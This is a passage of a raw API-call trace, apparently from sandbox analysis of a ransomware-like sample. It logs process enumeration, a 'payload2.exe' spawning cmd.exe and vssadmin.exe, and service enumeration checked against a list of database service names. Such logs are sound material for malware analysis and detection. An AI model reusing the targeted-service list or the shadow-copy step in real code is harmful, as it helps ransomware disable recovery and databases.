pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.702] lstrlenW (lpString="svchost.exe") returned 11 [0048.702] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.702] lstrlenW (lpString="svchost.exe") returned 11 [0048.702] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.703] lstrlenW (lpString="svchost.exe") returned 11 [0048.703] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0048.704] lstrlenW (lpString="audiodg.exe") returned 11 [0048.704] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.704] lstrlenW (lpString="svchost.exe") returned 11 [0048.704] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.705] lstrlenW (lpString="svchost.exe") returned 11 [0048.705] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0048.706] lstrlenW (lpString="dwm.exe") returned 7 [0048.706] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0048.706] lstrlenW (lpString="explorer.exe") returned 12 [0048.707] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0048.707] lstrlenW (lpString="spoolsv.exe") returned 11 [0048.707] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.708] lstrlenW (lpString="taskhost.exe") returned 12 [0048.708] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.709] lstrlenW (lpString="svchost.exe") returned 11 [0048.709] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0048.709] lstrlenW (lpString="taskeng.exe") returned 11 [0048.709] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.710] lstrlenW (lpString="taskhost.exe") returned 12 [0048.710] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0048.711] lstrlenW (lpString="presidential.exe") returned 16 [0048.711] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0048.711] lstrlenW (lpString="ol-filing.exe") returned 13 [0048.711] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0048.712] lstrlenW (lpString="overcome.exe") returned 12 [0048.712] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0048.713] lstrlenW (lpString="declinedreferral.exe") returned 20 [0048.713] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0048.880] lstrlenW (lpString="franciscotrack.exe") returned 18 [0048.880] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0048.881] lstrlenW (lpString="nicholas.exe") returned 12 [0048.881] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0048.882] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0048.882] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0048.882] lstrlenW (lpString="word.exe") returned 8 [0048.882] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0048.883] lstrlenW (lpString="semestermeta.exe") returned 16 [0048.883] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0048.884] lstrlenW (lpString="reflects.exe") returned 12 [0048.884] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0048.884] lstrlenW (lpString="beveragesradios.exe") returned 19 [0048.884] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0048.885] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0048.885] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0048.886] lstrlenW (lpString="ground.exe") returned 10 [0048.886] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0048.887] lstrlenW (lpString="least.exe") returned 9 [0048.887] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0048.887] lstrlenW (lpString="meetings.exe") returned 12 [0048.887] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0048.888] lstrlenW (lpString="wooltestimony.exe") returned 17 [0048.888] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0048.889] lstrlenW (lpString="inexpensive.exe") returned 15 [0048.889] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0048.889] lstrlenW (lpString="er-amd.exe") returned 10 [0048.889] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0048.890] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0048.890] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0048.891] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0048.891] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0048.891] lstrlenW (lpString="mobsync.exe") returned 11 [0048.891] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0048.892] lstrlenW (lpString="payload2.exe") returned 12 [0048.892] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0048.893] lstrlenW (lpString="cmd.exe") returned 7 [0048.893] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.894] lstrlenW (lpString="conhost.exe") returned 11 [0048.894] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0048.894] lstrlenW (lpString="vssadmin.exe") returned 12 [0048.894] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0048.895] lstrlenW (lpString="VSSVC.exe") returned 9 [0048.895] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.896] lstrlenW (lpString="svchost.exe") returned 11 [0048.896] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0048.896] CloseHandle (hObject=0x1cc) returned 1 [0048.896] Sleep (dwMilliseconds=0x1f4) [0049.820] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29ff60 [0049.821] EnumServicesStatusExW (in: hSCManager=0x29ff60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0049.821] GetLastError () returned 0xea [0049.821] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x26e060 [0049.821] EnumServicesStatusExW (in: hSCManager=0x29ff60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x26e060, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x26e060, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0049.822] CloseServiceHandle (hSCObject=0x29ff60) returned 1 [0049.822] lstrlenW (lpString="Appinfo") returned 7 [0049.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0049.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0049.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0049.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0049.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0049.822] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0049.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.822] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0049.822] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0049.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0049.822] lstrlenW (lpString="AudioSrv") returned 8 [0049.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0049.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0049.822] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0049.822] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0049.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0049.823] lstrlenW (lpString="BFE") returned 3 [0049.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0049.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0049.823] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0049.823] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0049.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0049.823] lstrlenW (lpString="CryptSvc") returned 8 [0049.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0049.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0049.823] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0049.823] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0049.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0049.823] lstrlenW (lpString="CscService") returned 10 [0049.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0049.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0049.823] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0049.823] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0049.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0049.823] lstrlenW (lpString="DcomLaunch") returned 10 [0049.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.823] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0049.823] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0049.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0049.823] lstrlenW (lpString="Dhcp") returned 4 [0049.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0049.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0049.823] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0049.823] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0049.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0049.823] lstrlenW (lpString="Dnscache") returned 8 [0049.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0049.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0049.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0049.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0049.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0049.824] lstrlenW (lpString="DPS") returned 3 [0049.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0049.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0049.824] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0049.824] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0049.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0049.824] lstrlenW (lpString="eventlog") returned 8 [0049.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0049.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0049.824] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0049.824] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0049.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0049.824] lstrlenW (lpString="EventSystem") returned 11 [0049.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0049.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0049.824] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0049.824] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0049.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0049.824] lstrlenW (lpString="gpsvc") returned 5 [0049.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0049.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0049.824] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0049.824] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0049.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0049.824] lstrlenW (lpString="iphlpsvc") returned 8 [0049.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.824] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0049.824] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0049.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0049.825] lstrlenW (lpString="LanmanServer") returned 12 [0049.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0049.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0049.825] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0049.825] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0049.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0049.825] lstrlenW (lpString="LanmanWorkstation") returned 17 [0049.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.825] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0049.825] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0049.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0049.825] lstrlenW (lpString="lmhosts") returned 7 [0049.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0049.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0049.825] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0049.825] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0049.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0049.825] lstrlenW (lpString="MMCSS") returned 5 [0049.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0049.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0049.825] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0049.825] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0049.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0049.825] lstrlenW (lpString="MpsSvc") returned 6 [0049.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0049.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0049.825] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0049.825] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0049.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0049.825] lstrlenW (lpString="Netman") returned 6 [0049.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0049.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0049.826] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0049.826] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0049.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0049.826] lstrlenW (lpString="netprofm") returned 8 [0049.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0049.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0049.826] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0049.826] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0049.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0049.826] lstrlenW (lpString="NlaSvc") returned 6 [0049.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0049.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0049.826] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0049.826] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 